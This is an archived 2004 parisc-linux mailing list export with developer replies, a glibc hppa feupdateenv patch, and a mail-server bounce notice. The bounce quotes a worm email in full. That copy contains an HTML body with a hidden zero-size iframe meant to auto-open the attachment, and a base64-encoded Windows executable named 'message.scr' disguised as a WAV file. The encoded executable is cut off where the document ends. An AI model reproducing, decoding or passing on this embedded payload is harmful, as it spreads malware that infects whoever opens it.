Subject = Re: Encrypted Mail
Scanning time = 4/2/2004 5:45:07 AM
Engine/Pattern = 7.000-1004/1.847.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Fri, 2 Apr 2004 00:51:35 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20040402055135.GB1081@baldric.uwo.ca>
References: <20040323170638.GN5123@baldric.uwo.ca>
	<40561E710000CF56@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623325 7520 80.91.229.3 (22 Nov 2014 02:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Thu Apr  1 22:51:37 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AEE6483A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Apr 2004 22:51:37 -0700 (MST)
Original-Received: from systemhalted ([24.43.36.210])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040402055135.WEVU396979.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Fri, 2 Apr 2004 00:51:35 -0500
Content-Disposition: inline
In-Reply-To: <40561E710000CF56@ocpmta2.freegates.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.36.210]
	using ID <patofiero@rogers.com> at Fri,
	2 Apr 2004 00:51:35 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 05:51:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21261

> Never the less always same known errors with glibc cvs dated 2004 03 29.
> But with very last gcc-3.3 installed, the feupdateenv patch is required (gcc
> now refuse 'assignment of read-only member) 

Noted, I'm making a patch from your patches for debian.
Thanks Joel!

c.


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] autogenerated programs
Date: Fri, 2 Apr 2004 00:52:41 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20040402055241.GC1081@baldric.uwo.ca>
References: <20040401212313.GF16469@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623325 7524 80.91.229.3 (22 Nov 2014 02:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: carlos@baldric.uwo.ca  Thu Apr  1 22:52:43 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com
	(fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1070B483A
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Apr 2004 22:52:43 -0700 (MST)
Original-Received: from systemhalted ([24.43.36.210])
	by fep02-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040402055130.WLEX39251.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Fri, 2 Apr 2004 00:51:30 -0500
Content-Disposition: inline
In-Reply-To: <20040401212313.GF16469@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep02-mail.bloor.is.net.cable.rogers.com from [24.43.36.210]
	using ID <patofiero@rogers.com> at Fri,
	2 Apr 2004 00:51:30 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 05:52:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21262

On Thu, Apr 01, 2004 at 10:23:13PM +0100, Matthew Wilcox wrote:
> and the problem will be gone.  Do not re-add them to .cvsignore, please ;-)
> 
> NB.  This is not an april fools.

April fools!!!

Oh wait, it's April 2nd... :}

c.


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] glibc-2.3.3 error with debian unstable
	compiler...
Date: Fri, 2 Apr 2004 13:03:56 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20040402180356.GG1081@baldric.uwo.ca>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302152744.GH25779@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623326 7526 80.91.229.3 (22 Nov 2014 02:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: carlos@baldric.uwo.ca  Fri Apr  2 11:03:57 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79D7E4843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Apr 2004 11:03:57 -0700 (MST)
Original-Received: from systemhalted ([24.43.36.210])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040402180334.BVRJ396979.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Fri, 2 Apr 2004 13:03:34 -0500
Content-Disposition: inline
In-Reply-To: <20040302152744.GH25779@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.36.210]
	using ID <patofiero@rogers.com> at Fri,
	2 Apr 2004 13:03:34 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 18:03:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21263

On Tue, Mar 02, 2004 at 03:27:44PM +0000, Matthew Wilcox wrote:
> On Tue, Mar 02, 2004 at 03:59:34PM +0100, Joel Soete wrote:
> > +  /* Raise the safed exception.  Incidently for us the implementation
> 
> "saved exception" or "safe exception"?

That's a typo that *every* other arch has because they copied the code
from i386, I think rth was the only one anal enough to fix the spelling
mistake ;)

I snatched the C99 spec and fixed our implementation based on my reading
of the current code, other arch code, and the spec. The correct
feupdateenv is provided below.

I'm sending this upstream to debian, so we can build again.

c.

Index: feupdateenv.c
===================================================================
RCS file: /cvs/glibc/libc/sysdeps/hppa/fpu/feupdateenv.c,v
retrieving revision 1.3
diff -u -p -r1.3 feupdateenv.c
--- feupdateenv.c	18 Dec 2003 03:57:50 -0000	1.3
+++ feupdateenv.c	2 Apr 2004 06:56:56 -0000
@@ -27,11 +27,10 @@ feupdateenv (const fenv_t *envp)
 
   /* Get the current exception status. */
   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
-  sw[0] &= FE_ALL_EXCEPT;
-  envp->__status_word = envp->__status_word | sw[0];
-  
   /* Install new environment.  */
   fesetenv (envp);
+  /* Raise the saved exceptions */
+  feraiseexcept(sw[0] & FE_ALL_EXCEPT);
 
   /* Success.  */
   return 0;


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@ns.nnt.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail delivery failed: returning message to sender
Date: Fri, 02 Apr 2004 22:49:36 +0400
Lines: 624
Approved: news@gmane.org
Message-ID: <E1B9TjU-0004Oi-00@ns.nnt.ru>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623326 7529 80.91.229.3 (22 Nov 2014 02:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Fri Apr  2 11:58:10 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.nnt.ru (ns.nnt.ru [217.72.1.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF99F4BB3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Apr 2004 11:58:08 -0700 (MST)
Original-Received: from exim by ns.nnt.ru with local (Exim 3.36 #1) id 1B9TjU-0004Oi-00
	for parisc-linux@lists.parisc-linux.org; Fri, 02 Apr 2004 22:49:36 +0400
X-Failed-Recipients: suggestion@mavicanet.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 18:58:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21264

This message was created automatically by mail delivery software (Exim).

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  suggestion@mavicanet.com
    This message has been rejected because it has
    a potentially executable attachment "message.scr"
    This form of attachment has been used by
    recent viruses or other malware.
    If you meant to send this file then please
    package it up as a zip file and resend it.

------ This is a copy of the message, including all the headers. ------

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from cm-lcon2-49-12.cm.vtr.net ([200.83.49.12] helo=mavicanet.com)
	by ns.nnt.ru with esmtp (Exim 3.36 #1)
	id 1B9TjK-0004OR-00
	for suggestion@mavicanet.com; Fri, 02 Apr 2004 22:49:28 +0400
From: parisc-linux@lists.parisc-linux.org
To: suggestion@mavicanet.com
Subject: Mail Delivery (failure suggestion@mavicanet.com)
Date: Fri, 2 Apr 2004 14:49:47 -0400
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <E1B9TjK-0004OR-00@ns.nnt.ru>

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_001C_01C0CA80.6B015D10"

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>If the message will not displayed automatically,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=3D0>www.mavicanet.com/inbox/suggestion/read.php?sessionid-31532</a>
<iframe
src=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=3D0></iframe> 
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_001C_01C0CA80.6B015D10--

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: audio/x-wav;
	name="message.scr"
Content-Transfer-Encoding: base64
Content-ID:<031401Mfdab4$3f3dL780$73387018@57W81fa70Re>

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
